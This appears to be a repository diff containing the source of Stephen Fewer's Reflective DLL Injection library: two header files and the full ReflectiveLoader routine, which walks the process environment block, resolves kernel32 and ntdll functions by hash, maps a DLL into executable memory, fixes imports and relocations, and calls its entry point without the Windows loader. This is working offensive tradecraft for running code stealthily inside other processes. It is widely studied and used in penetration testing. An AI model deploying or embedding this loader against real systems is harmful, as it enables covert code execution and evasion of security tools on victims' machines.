// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
|
||||
// we declare some common stuff in here...
|
||||
|
||||
#define DLL_QUERY_HMODULE 6
|
||||
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
#define DEREF_64( name )*(DWORD64 *)(name)
|
||||
#define DEREF_32( name )*(DWORD *)(name)
|
||||
#define DEREF_16( name )*(WORD *)(name)
|
||||
#define DEREF_8( name )*(BYTE *)(name)
|
||||
|
||||
typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID );
|
||||
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
|
||||
|
||||
#define DLLEXPORT __declspec( dllexport )
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
|
|
@ -0,0 +1,496 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveLoader.h"
|
||||
//===============================================================================================//
|
||||
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
||||
HINSTANCE hAppInstance = NULL;
|
||||
//===============================================================================================//
|
||||
#pragma intrinsic( _ReturnAddress )
|
||||
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
|
||||
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
|
||||
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
|
||||
// available (and no inline asm available under x64).
|
||||
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
|
||||
//===============================================================================================//
|
||||
|
||||
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
|
||||
// otherwise the DllMain at the end of this file will be used.
|
||||
|
||||
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
|
||||
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
|
||||
|
||||
// This is our position independent reflective DLL loader/injector
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
|
||||
#else
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
|
||||
#endif
|
||||
{
|
||||
// the functions we need
|
||||
LOADLIBRARYA pLoadLibraryA = NULL;
|
||||
GETPROCADDRESS pGetProcAddress = NULL;
|
||||
VIRTUALALLOC pVirtualAlloc = NULL;
|
||||
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
|
||||
|
||||
USHORT usCounter;
|
||||
|
||||
// the initial location of this image in memory
|
||||
ULONG_PTR uiLibraryAddress;
|
||||
// the kernels base address and later this images newly loaded base address
|
||||
ULONG_PTR uiBaseAddress;
|
||||
|
||||
// variables for processing the kernels export table
|
||||
ULONG_PTR uiAddressArray;
|
||||
ULONG_PTR uiNameArray;
|
||||
ULONG_PTR uiExportDir;
|
||||
ULONG_PTR uiNameOrdinals;
|
||||
DWORD dwHashValue;
|
||||
|
||||
// variables for loading this image
|
||||
ULONG_PTR uiHeaderValue;
|
||||
ULONG_PTR uiValueA;
|
||||
ULONG_PTR uiValueB;
|
||||
ULONG_PTR uiValueC;
|
||||
ULONG_PTR uiValueD;
|
||||
ULONG_PTR uiValueE;
|
||||
|
||||
// STEP 0: calculate our images current base address
|
||||
|
||||
// we will start searching backwards from our callers return address.
|
||||
uiLibraryAddress = caller();
|
||||
|
||||
// loop through memory backwards searching for our images base address
|
||||
// we dont need SEH style search as we shouldnt generate any access violations with this
|
||||
while( TRUE )
|
||||
{
|
||||
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
|
||||
{
|
||||
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
|
||||
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
|
||||
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
|
||||
{
|
||||
uiHeaderValue += uiLibraryAddress;
|
||||
// break if we have found a valid MZ/PE header
|
||||
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
|
||||
break;
|
||||
}
|
||||
}
|
||||
uiLibraryAddress--;
|
||||
}
|
||||
|
||||
// STEP 1: process the kernels exports for the functions our loader needs...
|
||||
|
||||
// get the Process Enviroment Block
|
||||
#ifdef WIN_X64
|
||||
uiBaseAddress = __readgsqword( 0x60 );
|
||||
#else
|
||||
#ifdef WIN_X86
|
||||
uiBaseAddress = __readfsdword( 0x30 );
|
||||
#else WIN_ARM
|
||||
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
|
||||
#endif
|
||||
#endif
|
||||
|
||||
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
|
||||
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
|
||||
|
||||
// get the first entry of the InMemoryOrder module list
|
||||
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
|
||||
while( uiValueA )
|
||||
{
|
||||
// get pointer to current modules name (unicode string)
|
||||
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
|
||||
// set bCounter to the length for the loop
|
||||
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
|
||||
// clear uiValueC which will store the hash of the module name
|
||||
uiValueC = 0;
|
||||
|
||||
// compute the hash of the module name...
|
||||
do
|
||||
{
|
||||
uiValueC = ror( (DWORD)uiValueC );
|
||||
// normalize to uppercase if the madule name is in lowercase
|
||||
if( *((BYTE *)uiValueB) >= 'a' )
|
||||
uiValueC += *((BYTE *)uiValueB) - 0x20;
|
||||
else
|
||||
uiValueC += *((BYTE *)uiValueB);
|
||||
uiValueB++;
|
||||
} while( --usCounter );
|
||||
|
||||
// compare the hash with that of kernel32.dll
|
||||
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
|
||||
{
|
||||
// get this modules base address
|
||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
|
||||
|
||||
usCounter = 3;
|
||||
|
||||
// loop while we still have imports to find
|
||||
while( usCounter > 0 )
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||
|
||||
// store this functions VA
|
||||
if( dwHashValue == LOADLIBRARYA_HASH )
|
||||
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
else if( dwHashValue == GETPROCADDRESS_HASH )
|
||||
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
else if( dwHashValue == VIRTUALALLOC_HASH )
|
||||
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
|
||||
{
|
||||
// get this modules base address
|
||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
|
||||
|
||||
usCounter = 1;
|
||||
|
||||
// loop while we still have imports to find
|
||||
while( usCounter > 0 )
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||
|
||||
// store this functions VA
|
||||
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
|
||||
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
|
||||
// we stop searching when we have found everything we need.
|
||||
if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
|
||||
break;
|
||||
|
||||
// get the next entry
|
||||
uiValueA = DEREF( uiValueA );
|
||||
}
|
||||
|
||||
// STEP 2: load our image into a new permanent location in memory...
|
||||
|
||||
// get the VA of the NT Header for the PE to be loaded
|
||||
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
|
||||
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
|
||||
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
// we must now copy over the headers
|
||||
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
|
||||
uiValueB = uiLibraryAddress;
|
||||
uiValueC = uiBaseAddress;
|
||||
|
||||
while( uiValueA-- )
|
||||
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
|
||||
|
||||
// STEP 3: load in all of our sections...
|
||||
|
||||
// uiValueA = the VA of the first section
|
||||
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
|
||||
|
||||
// itterate through all sections, loading them into memory.
|
||||
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
|
||||
while( uiValueE-- )
|
||||
{
|
||||
// uiValueB is the VA for this section
|
||||
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
|
||||
|
||||
// uiValueC if the VA for this sections data
|
||||
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
|
||||
|
||||
// copy the section over
|
||||
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
|
||||
|
||||
while( uiValueD-- )
|
||||
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
|
||||
|
||||
// get the VA of the next section
|
||||
uiValueA += sizeof( IMAGE_SECTION_HEADER );
|
||||
}
|
||||
|
||||
// STEP 4: process our images import table...
|
||||
|
||||
// uiValueB = the address of the import directory
|
||||
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
|
||||
|
||||
// we assume their is an import table to process
|
||||
// uiValueC is the first entry in the import table
|
||||
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||
|
||||
// itterate through all imports
|
||||
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
|
||||
{
|
||||
// use LoadLibraryA to load the imported module into memory
|
||||
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
|
||||
|
||||
// uiValueD = VA of the OriginalFirstThunk
|
||||
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
|
||||
|
||||
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
|
||||
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
|
||||
|
||||
// itterate through all imported functions, importing by ordinal if no name present
|
||||
while( DEREF(uiValueA) )
|
||||
{
|
||||
// sanity check uiValueD as some compilers only import by FirstThunk
|
||||
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
|
||||
{
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||
|
||||
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
||||
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
|
||||
|
||||
// patch in the address for this imported function
|
||||
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
|
||||
}
|
||||
else
|
||||
{
|
||||
// get the VA of this functions import by name struct
|
||||
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
|
||||
|
||||
// use GetProcAddress and patch in the address for this imported function
|
||||
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
|
||||
}
|
||||
// get the next imported function
|
||||
uiValueA += sizeof( ULONG_PTR );
|
||||
if( uiValueD )
|
||||
uiValueD += sizeof( ULONG_PTR );
|
||||
}
|
||||
|
||||
// get the next import
|
||||
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
|
||||
}
|
||||
|
||||
// STEP 5: process all of our images relocations...
|
||||
|
||||
// calculate the base address delta and perform relocations (even if we load at desired image base)
|
||||
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
|
||||
|
||||
// uiValueB = the address of the relocation directory
|
||||
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
|
||||
|
||||
// check if their are any relocations present
|
||||
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
|
||||
{
|
||||
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
|
||||
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||
|
||||
// and we itterate through all entries...
|
||||
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
|
||||
{
|
||||
// uiValueA = the VA for this relocation block
|
||||
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
|
||||
|
||||
// uiValueB = number of entries in this relocation block
|
||||
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
|
||||
|
||||
// uiValueD is now the first entry in the current relocation block
|
||||
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
|
||||
|
||||
// we itterate through all the entries in the current block...
|
||||
while( uiValueB-- )
|
||||
{
|
||||
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
|
||||
// we dont use a switch statement to avoid the compiler building a jump table
|
||||
// which would not be very position independent!
|
||||
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
|
||||
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
|
||||
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
|
||||
#ifdef WIN_ARM
|
||||
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
|
||||
{
|
||||
register DWORD dwInstruction;
|
||||
register DWORD dwAddress;
|
||||
register WORD wImm;
|
||||
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
|
||||
dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
|
||||
// flip the words to get the instruction as expected
|
||||
dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
|
||||
// sanity chack we are processing a MOV instruction...
|
||||
if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
|
||||
{
|
||||
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
|
||||
wImm = (WORD)( dwInstruction & 0x000000FF);
|
||||
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
|
||||
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
|
||||
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
|
||||
// apply the relocation to the target address
|
||||
dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
|
||||
// now create a new instruction with the same opcode and register param.
|
||||
dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
|
||||
// patch in the relocated address...
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
|
||||
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
|
||||
// now flip the instructions words and patch back into the code...
|
||||
*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
|
||||
}
|
||||
}
|
||||
#endif
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
|
||||
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
|
||||
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
|
||||
|
||||
// get the next entry in the current relocation block
|
||||
uiValueD += sizeof( IMAGE_RELOC );
|
||||
}
|
||||
|
||||
// get the next entry in the relocation directory
|
||||
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
|
||||
}
|
||||
}
|
||||
|
||||
// STEP 6: call our images entry point
|
||||
|
||||
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
|
||||
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
|
||||
|
||||
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
|
||||
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
|
||||
|
||||
// call our respective entry point, fudging our hInstance value
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
|
||||
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
|
||||
#else
|
||||
// if we are injecting an DLL via a stub we call DllMain with no parameter
|
||||
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
|
||||
#endif
|
||||
|
||||
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
|
||||
return uiValueA;
|
||||
}
|
||||
//===============================================================================================//
|
||||
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
|
||||
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch( dwReason )
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
if( lpReserved != NULL )
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
||||
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,204 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <Winsock2.h>
|
||||
#include <intrin.h>
|
||||
|
||||
#include "ReflectiveDLLInjection.h"
|
||||
|
||||
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
|
||||
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
|
||||
